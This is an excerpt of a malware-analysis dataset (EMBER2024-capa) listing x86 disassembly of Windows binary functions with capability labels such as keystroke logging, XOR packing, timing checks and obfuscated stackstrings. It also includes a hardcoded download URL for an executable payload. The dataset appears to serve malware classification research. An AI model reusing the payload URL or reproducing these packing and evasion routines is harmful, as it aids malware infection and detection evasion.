joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014a0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], 8
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test dl, dl
je 0x4015af
push 0
push 0xa0
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov ecx, dword [esi + 4]
mov word [ebp - 0x16], ax
cmp ecx, dword [esi + 8]
je 0x4014f9
movups xmm0, xmmword [ebp - 0x1c]
mov eax, dword [ebp - 4]
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [ecx + 0x10], xmm0
mov dword [ecx + 0x18], eax
add dword [esi + 4], 0x1c
jmp 0x401505
lea eax, [ebp - 0x1c]
push eax
push ecx
mov ecx, esi
call fcn.004018b0
mov ecx, dword [esi + 4]
movzx edi, di
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], 8
mov word [ebp - 0x16], di
cmp ecx, dword [esi + 8]
je 0x40153f
movups xmm0, xmmword [ebp - 0x1c]
mov eax, dword [ebp - 4]
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [ecx + 0x10], xmm0
mov dword [ecx + 0x18], eax
add dword [esi + 4], 0x1c
jmp 0x40154b
lea eax, [ebp - 0x1c]
push eax
push ecx
mov ecx, esi
call fcn.004018b0
mov ecx, dword [esi + 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], 0xa
mov word [ebp - 0x16], di
cmp ecx, dword [esi + 8]
je 0x401582
movups xmm0, xmmword [ebp - 0x1c]
mov eax, dword [ebp - 4]
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [ecx + 0x10], xmm0
mov dword [ecx + 0x18], eax
add dword [esi + 4], 0x1c
jmp 0x40158e
lea eax, [ebp - 0x1c]
push eax
push ecx
mov ecx, esi
call fcn.004018b0
push 0
push 0xa0
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], 0xa
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov word [ebp - 0x16], ax
jmp 0x4015f9
mov ecx, dword [esi + 4]
movzx edi, di
mov word [ebp - 0x16], di
cmp ecx, dword [esi + 8]
je 0x4015db
movups xmm0, xmmword [ebp - 0x1c]
mov eax, dword [ebp - 4]
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [ecx + 0x10], xmm0
mov dword [ecx + 0x18], eax
add dword [esi + 4], 0x1c
jmp 0x4015e7
lea eax, [ebp - 0x1c]
push eax
push ecx
mov ecx, esi
call fcn.004018b0
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], 0xa
mov word [ebp - 0x16], di
mov ecx, dword [esi + 4]
cmp ecx, dword [esi + 8]
je 0x401622
movups xmm0, xmmword [ebp - 0x1c]
mov eax, dword [ebp - 4]
pop edi
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [ecx + 0x10], xmm0
mov dword [ecx + 0x18], eax
add dword [esi + 4], 0x1c
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x1c]
push eax
push ecx
mov ecx, esi
call fcn.004018b0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x1da202f8
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x6deb0f1f
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401360
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022e0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.windrx.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013c1
xor al, al
jmp 0x4013fb
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4013f9
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401360
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea ecx, [ebp - 0x410]
push ecx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0x410]
push edx
push str._swindrx.txt
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401475
push str.http:__185.215.113.66_peinf.exe
call fcn.004010b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4031b1
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
ret 0x20
sub esp, 0x1c
jmp 0x402dc0
leave
jmp 0x4020f9
pop esi
jmp 0x402b4e
push esi
jmp 0x40314f
mov ebx, dword [ebp + 0x20]
jmp 0x4031da
sub ebx, dword [ebp + 0x18]
jmp 0x404864
pop ebx
jmp 0x40248f
call dword [sym.imp.kernel32.dll_QueryPerformanceCounter]
jmp 0x402eae
push 0x43d9b2
jmp 0x4033ce
push ebx
jmp 0x402921
mov dword [ebp + 0xc], eax
jmp 0x404841
mov dword [ebp - 0x1c], eax
jmp 0x403179
lea esi, [0x43e0ab]
jmp 0x404a85
mov eax, ebp
jmp 0x402532
push ebp
mov ebp, esp
jmp 0x4023d1
add ebx, 0x78
jmp 0x402aa8
call dword [sym.imp.kernel32.dll_QueryPerformanceCounter]
jmp 0x404a91
push 0x43d9b2
jmp 0x402c02
push dword [ebp + 0xc]
jmp 0x40479b
call fcn.00402980
jmp 0x402a60
mov dword [ebp + 0x20], eax
jmp 0x40489e
xor ebx, ebx
jmp 0x404a02
push dword [0x43e49a]
jmp 0x4046f1
mov dword [ebp - 4], ebx
jmp 0x402d26
mov dword [0x43e451], esi
jmp 0x40343e
mov dword [ebp + 0x1c], eax
jmp 0x402f49
Function at 0x401612
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push edi
push 0x1c
lea eax, [ebp - 0x20]
mov dword [ebp - 4], edx
mov edi, ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x401636
push 0x19
pop ecx
int 0x29
test byte [ebp - 0xc], 0x44
je 0x40167f
push ebx
push esi
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [ebp - 0x40]
xor edx, edx
mov esi, ebx
neg esi
and esi, edi
lea ecx, [ebx - 1]
mov eax, ecx
and ecx, dword [ebp - 4]
and eax, edi
dec ecx
add eax, ebx
add eax, ecx
div ebx
xor edx, edx
mov ecx, eax
mov eax, dword [ebp - 4]
div ebx
add ecx, eax
je 0x40167d
xor eax, eax
lock or dword [esi], eax
add esi, ebx
sub ecx, 1
jne 0x401671
pop esi
pop ebx
pop edi
leave
ret

Function at 0x401d99
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x401dd6
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x401dcf
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x401ddb
add edx, 0x28
cmp edx, esi
jne 0x401dc0
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x401dd8
Function at 0x404fd0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor eax, eax
cmp dword [esp + 0x20], 0
je 0x4050b0
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x4050b0
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x40501a
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x405021
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x405000
jmp 0x405023
mov esi, 0x1505
jmp 0x405023
mov esi, ecx
mov ecx, dword [esp + 0x20]
mov ebx, dword [ecx + 0x20]
lea edx, [ebx - 1]
mov ecx, ebx
sub ecx, 1
mov dword [esp + 8], ecx
jb 0x4050b0
mov ecx, esi
not ecx
or edx, ecx
mov ecx, dword [esp + 0x20]
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
lea ebp, [esi + edx]
inc ebp
jmp 0x405054
inc ebp
dec ebx
je 0x4050ae
mov eax, ebp
and eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x4050ae
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x405050
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp], eax
push eax
call fcn.0040d450
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x405050
push dword [esp + 0x28]
push dword [esp + 4]
push dword [esp + 0x2c]
call fcn.0040d470
mov ecx, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
jne 0x405050
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x4050b0
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4053e0
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4054ff
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x4054f3
cmp ecx, 5
je 0x4054c3
cmp ecx, 4
jne 0x4054ff
mov esi, dword [eax + 8]
cmp dword [esi + 0x18], 0
je 0x40544d
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0xc]
push dword [eax + edi*4]
call dword [0x5cb004]
add esp, 4
mov eax, dword [esi + 0x10]
push dword [eax + edi*4]
call fcn.004053e0
add esp, 4
mov eax, edi
xor eax, 1
and edi, 1
lea edi, [eax + edi*2]
cmp edi, dword [esi + 0x18]
jb 0x405420
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
push dword [esi + 4]
call dword [0x5cb004]
add esp, 4
push dword [esi + 0xc]
call dword [0x5cb004]
add esp, 4
push dword [esi + 0x10]
call dword [0x5cb004]
add esp, 4
push dword [esi + 0x14]
call dword [0x5cb004]
add esp, 4
push dword [esi + 8]
call dword [0x5cb004]
add esp, 4
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
jmp 0x4054f0
mov esi, dword [eax + 8]
cmp dword [esi + 8], 0
je 0x4054e4
xor edi, edi
nop
nop
mov eax, dword [esi + 4]
push dword [eax + edi*4]
call fcn.004053e0
add esp, 4
inc edi
cmp edi, dword [esi + 8]
jb 0x4054d0
push dword [esi + 4]
call dword [0x5cb004]
add esp, 4
push esi
jmp 0x4054f6
push dword [eax + 8]
call dword [0x5cb004]
add esp, 4
pop esi
pop edi
jmp dword [0x5cb004]
Function at 0x405830
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, 0xffffffff
cmp dword [esp + 0x24], 0
je 0x40594a
mov esi, dword [esp + 0x28]
test esi, esi
je 0x40594a
cmp dword [esp + 0x2c], 0
je 0x40594a
push esi
call fcn.0040d450
add esp, 4
test eax, eax
je 0x40589a
mov ecx, 0x1505
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + edi]
test edx, edx
je 0x4058a1
mov ebx, ecx
shl ebx, 5
add ebx, ecx
add ebx, edx
inc edi
mov ecx, ebx
cmp eax, edi
jne 0x405880
jmp 0x4058a3
mov ebx, 0x1505
jmp 0x4058a3
mov ebx, ecx
mov ecx, dword [esp + 0x24]
mov esi, dword [ecx + 0x20]
lea edx, [esi - 1]
mov edi, ebx
not edi
mov ebp, esi
sub ebp, 1
mov dword [esp + 0xc], ebp
mov dword [esp + 4], edi
jae 0x405952
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x40590f
call fcn.004065b0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov ecx, dword [esp + 0x28]
jne 0x40594a
push ecx
call fcn.0040d450
add esp, 4
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov esi, dword [ecx + 0x20]
lea eax, [esi - 1]
mov edx, esi
sub edx, 1
mov dword [esp + 0xc], edx
jae 0x4059d0
mov ebp, 0xffffffff
mov eax, dword [ecx + 0xc]
mov edx, dword [ecx + 0x18]
mov esi, dword [esp + 0x28]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x18]
mov dword [eax + ebp*4], edx
mov eax, dword [ecx + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebp
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebx
inc dword [ecx + 0x18]
mov eax, dword [ecx]
mov dword [esi], eax
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp], eax
or edx, edi
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
lea edi, [ebx + edx]
inc edi
jmp 0x405978
inc edi
dec esi
je 0x4058c4
mov ebp, edi
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x4058c9
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x405970
mov ecx, dword [ecx + 0xc]
mov ebp, dword [ecx + eax*4]
push ebp
call fcn.0040d450
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x405970
push dword [esp]
push ebp
push dword [esp + 0x30]
call fcn.0040d470
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x405970
mov eax, 0xffffffff
jmp 0x40594a
or eax, dword [esp + 4]
mov edx, dword [ecx + 4]
mov dword [esp + 8], edx
lea edi, [ebx + eax]
inc edi
jmp 0x4059f8
inc edi
dec esi
je 0x40590a
mov ebp, edi
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x40590f
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x4059f0
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + eax*4]
mov dword [esp + 4], eax
push eax
call fcn.0040d450
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x4059f0
push dword [esp]
push dword [esp + 8]
push dword [esp + 0x30]
call fcn.0040d470
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x4059f0
jmp 0x40590f
Function at 0x4062f0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, 0xffffffff
cmp dword [esp + 0x28], 0
je 0x4064da
mov esi, dword [esp + 0x2c]
test esi, esi
je 0x4064da
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x4064da
cmp dword [ecx], 0
jne 0x4064da
push esi
call fcn.0040d450
add esp, 4
test eax, eax
je 0x40635a
mov ecx, 0x1505
xor ebx, ebx
nop
nop
nop
nop
movzx edx, byte [esi + ebx]
test edx, edx
je 0x406361
mov edi, ecx
shl edi, 5
add edi, ecx
add edi, edx
inc ebx
mov ecx, edi
cmp eax, ebx
jne 0x406340
jmp 0x406363
mov edi, 0x1505
jmp 0x406363
mov edi, ecx
mov ecx, dword [esp + 0x28]
mov edx, dword [ecx + 0x20]
lea esi, [edx - 1]
mov ebx, edx
sub ebx, 1
mov dword [esp + 0xc], ebx
jae 0x406434
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x4063c1
call fcn.004065b0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov esi, dword [esp + 0x2c]
jne 0x4064da
push esi
call fcn.0040d450
add esp, 4
mov edx, esi
lea esi, [esp + 0x10]
mov ecx, dword [esp + 0x28]
push esi
push edi
push eax
call fcn.004064f0
add esp, 0xc
mov ebp, eax
mov esi, dword [esp + 0x2c]
push esi
call fcn.0040d450
add esp, 4
mov ebx, eax
inc eax
push eax
call dword [0x5cb008]
add esp, 4
test eax, eax
je 0x4064d5
mov byte [eax + ebx], 0
push ebx
push esi
push eax
mov esi, eax
call fcn.0040d340
add esp, 0xc
mov edx, dword [esp + 0x28]
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 4]
mov ecx, dword [edx + 0x18]
mov dword [eax + ebp*4], ecx
mov eax, dword [edx + 0x10]
mov esi, dword [esp + 0x30]
mov dword [eax + ecx*4], esi
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], ebp
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0x18]
mov dword [eax + ecx*4], edi
inc dword [edx + 0x18]
mov eax, dword [edx]
mov dword [esi], eax
xor eax, eax
jmp 0x4064da
mov dword [esp], eax
mov eax, edx
mov edx, edi
not edx
or esi, edx
mov edx, eax
mov eax, dword [ecx + 4]
mov dword [esp + 8], eax
lea ebx, [edi + esi]
inc ebx
jmp 0x406458
inc ebx
dec edx
je 0x40637c
mov ebp, ebx
and ebp, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov esi, dword [eax + ebp*4]
cmp esi, 0xffffffff
je 0x406381
mov eax, dword [ecx + 8]
cmp dword [eax + esi*4], edi
jne 0x406450
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + esi*4]
push ebp
mov dword [esp + 8], edx
call fcn.0040d450
mov edx, dword [esp + 8]
mov ecx, dword [esp + 0x2c]
add esp, 4
cmp eax, dword [esp]
jne 0x406450
push dword [esp]
push ebp
push dword [esp + 0x34]
call fcn.0040d470
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x34]
add esp, 0xc
test eax, eax
jne 0x406450
mov eax, dword [ecx + 0x10]
push dword [eax + esi*4]
call fcn.004053e0
mov edx, dword [esp + 0x2c]
add esp, 4
mov eax, dword [edx + 0x10]
mov ecx, dword [esp + 0x30]
mov dword [eax + esi*4], ecx
mov esi, ecx
jmp 0x406429
mov eax, 0xffffffff
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40e9d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov ebx, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov al, byte [ebp + 8]
mov edi, eax
call fcn.0040eb70
push eax
push eax
test ebx, ebx
sets al
mov ecx, ebx
sub ecx, 1
sete cl
or al, cl
mov ecx, ebx
sub ecx, 0x25
setge cl
or al, cl
test al, 1
jne 0x40ea07
jmp 0x40ea0c
jmp 0x40eb5a
mov eax, edi
movzx ecx, al
mov edi, esi
mov edx, dword [ebp + 0x10]
add edi, edx
add edi, 0xffffffff
mov byte [esi + edx - 1], 0
cmp ecx, 0
sete cl
test cl, 1
jne 0x40ea2d
jmp 0x40ea3b
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], 0x30
jmp 0x40eb58
cmp ebx, 0xa
sete cl
test cl, 1
jne 0x40ea4b
jmp 0x40eae3
jmp 0x40ea4d
movzx ecx, al
cmp ecx, 0x64
jb 0x40ea90
mov esi, 0x64
mov eax, ecx
xor edx, edx
div esi
shl edx, 1
lea eax, [0x5c9770]
add eax, edx
mov bl, byte [edx + 0x5c9771]
mov edx, edi
add edx, 0xffffffff
mov byte [edi - 1], bl
mov al, byte [eax]
mov edi, edx
add edi, 0xffffffff
mov byte [edx - 1], al
mov esi, 0x64
mov eax, ecx
xor edx, edx
div esi
jmp 0x40ea4d
cmp ecx, 0xa
jae 0x40eaa6
mov al, byte [ecx + 0x5ca51f]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
jmp 0x40eae1
mov eax, ecx
xor eax, 0xffffffff
and eax, 2
mov edx, ecx
and edx, 0xfffffffd
imul edx, eax
mov eax, ecx
and eax, 2
or ecx, 2
imul ecx, eax
add ecx, edx
mov al, byte [ecx + 0x5c9771]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
mov al, byte [ecx + 0x5c9770]
add esi, 0xffffffff
mov byte [edi - 2], al
jmp 0x40eae1
jmp 0x40eb58
cmp ebx, 0x10
sete cl
test cl, 1
jne 0x40eaf2
jmp 0x40eaf0
jmp 0x40eb2d
movzx ecx, al
cmp ecx, 0x10
jge 0x40eb0b
mov al, byte [ecx + 0x5ca51f]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
jmp 0x40eb58
shl ecx, 1
lea eax, [0x5c9839]
add eax, ecx
jmp 0x40eb17
mov cl, byte [eax + 1]
add edi, 0xffffffff
mov byte [edi], cl
jmp 0x40eb21
mov al, byte [eax]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
jmp 0x40eb58
movzx ecx, al
cmp ecx, 0
jbe 0x40eb54
mov eax, ecx
xor edx, edx
div ebx
mov al, byte [edx + 0x5ca51f]
mov esi, edi
add esi, 0xffffffff
mov byte [edi - 1], al
mov eax, ecx
xor edx, edx
div ebx
mov edi, esi
jmp 0x40eb2d
mov esi, edi
jmp 0x40eb58
jmp 0x40eb5a
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40eb80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a0
push eax
sub esp, 8
mov dword [ebp - 0x20], esp
sub esp, 0x40
mov dword [ebp - 0x1c], esp
sub esp, 0x80
mov dword [ebp - 0x28], esp
mov eax, dword [0x5d1d28]
mov dword [ebp - 0x1ac], 0x797a0304
mov dword [ebp - 0x1a8], 0
mov ecx, 0x3f
mov edx, 0xc0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0x1eb]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
add bl, 0xc5
mov byte [ebp + ecx - 0x1eb], bl
inc ecx
dec edx
cmp ecx, 0x47
jne 0x40ebd0
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x128], 0xcf57c943
mov dword [ebp - 0x124], 0xc35acd5e
mov dword [ebp - 0x120], 0xc752c154
mov dword [ebp - 0x11c], 0xfba8c554
mov dword [ebp - 0x118], 0xff62f99c
mov dword [ebp - 0x114], 0xf3f2fd60
mov word [ebp - 0x110], 0
xor edx, edx
nop
nop
mov esi, edx
and esi, 0x12
mov edi, edx
and edi, 0xd
mov ebx, edx
xor ebx, 0x1823b4d2
sub ebx, edi
add ebx, edx
mov edi, ebx
and edi, esi
xor ebx, esi
lea ebx, [ebx + edi*2]
xor bl, byte [ebp + edx - 0x128]
add bl, 0xe6
mov byte [ebp + edx - 0x128], bl
inc edx
cmp edx, 0x1a
jne 0x40ec40
lea edx, [ebp - 0x128]
push ecx
push 0
push edx
call eax
mov esi, eax
mov eax, dword [0x5cbb3c]
mov ecx, 0xc912988c
xor ecx, dword [0x5cbb44]
add eax, ecx
inc eax
jmp eax
Function at 0x411540
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
push eax
push eax
mov esi, esp
sub esp, 8
mov dword [ebp - 0x20], esp
sub esp, 0x10
mov dword [ebp - 0x10], esp
sub esp, 0x200
mov dword [ebp - 0x18], esp
sub esp, 0x30
mov dword [ebp - 0x2c], esp
sub esp, 8
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x1c], esp
mov eax, dword [0x5d1cf8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10c], 0x23bd215d
mov dword [ebp - 0x108], 0x27bf25ae
mov dword [ebp - 0x104], 0x5bc659c4
mov dword [ebp - 0x100], 0x5f015d3d
mov dword [ebp - 0xfc], 0x530c5105
mov dword [ebp - 0xf8], 0x57765504
mov dword [ebp - 0xf4], 0x4b3d4910
mov dword [ebp - 0xf0], 0x4fd04dd5
mov dword [ebp - 0xec], 0x43dd4124
mov dword [ebp - 0xe8], 0x47d545d3
mov dword [ebp - 0xe4], 0x7b047958
mov dword [ebp - 0xe0], 0x7f5e7d08
mov dword [ebp - 0xdc], 0x73227121
mov dword [ebp - 0xd8], 0x7726752a
mov dword [ebp - 0xd4], 0x6b4a6923
mov dword [ebp - 0xd0], 0x6ff76d1b
mov dword [ebp - 0xcc], 0x633461fe
mov dword [ebp - 0xc8], 0x672d6530
mov dword [ebp - 0xc4], 0x9b1299b8
mov dword [ebp - 0xc0], 0x9fca9dca
mov dword [ebp - 0xbc], 0x93b291c9
mov dword [ebp - 0xb8], 0x970695d5
mov dword [ebp - 0xb4], 0x8b168918
mov dword [ebp - 0xb0], 0x8ff98de9
mov dword [ebp - 0xac], 0x83e081e5
mov dword [ebp - 0xa8], 0x871f85ff
mov dword [ebp - 0xa4], 0xbbe5b92c
mov dword [ebp - 0xa0], 0xbfedbde9
mov dword [ebp - 0x9c], 0xb3ecb1e7
mov dword [ebp - 0x98], 0xb7e0b5e7
mov dword [ebp - 0x94], 0xabf2a988
mov dword [ebp - 0x90], 0xafd6add7
mov dword [ebp - 0x8c], 0xa3dfa1d4
mov dword [ebp - 0x88], 0xa7faa5d8
mov dword [ebp - 0x84], 0xdb46d9f8
mov dword [ebp - 0x80], 0xdf45dd45
mov dword [ebp - 0x7c], 0xd3f2d1b5
mov dword [ebp - 0x78], 0xd7b3d593
mov dword [ebp - 0x74], 0xcb51c9ab
mov dword [ebp - 0x70], 0xcf97cd53
mov dword [ebp - 0x6c], 0xc381c1e0
mov dword [ebp - 0x68], 0xc754c55c
mov dword [ebp - 0x64], 0xfb67f967
mov dword [ebp - 0x60], 0xffa1fd99
mov dword [ebp - 0x5c], 0xf3a3f1a1
mov dword [ebp - 0x58], 0xf7a8f5bd
mov dword [ebp - 0x54], 0xebb4e9b8
mov dword [ebp - 0x50], 0xefb0edbc
mov dword [ebp - 0x4c], 0xe3c2e1b0
mov dword [ebp - 0x48], 0xe787e597
mov dword [ebp - 0x44], 0x1b7b197e
mov dword [ebp - 0x40], 0x1f871d8e
mov dword [ebp - 0x3c], 0x1347114f
mov dword [ebp - 0x38], 0x17411547
mov dword [ebp - 0x34], 0xb590956
mov dword [ebp - 0x30], 0xf0e0d5a
xor ecx, ecx
movzx edx, byte [ebp + ecx - 0x10c]
mov eax, ecx
and eax, 0xce
xor eax, 0x87d5b3ce
mov edi, ecx
and edi, 0x31
sub edi, eax
lea ebx, [edi + 0x2e7d5686]
lea eax, [edi*2 + 0x5cfaad0c]
neg eax
add eax, edi
add eax, 0x85
xor eax, ebx
and eax, edx
xor eax, ebx
add al, 0x68
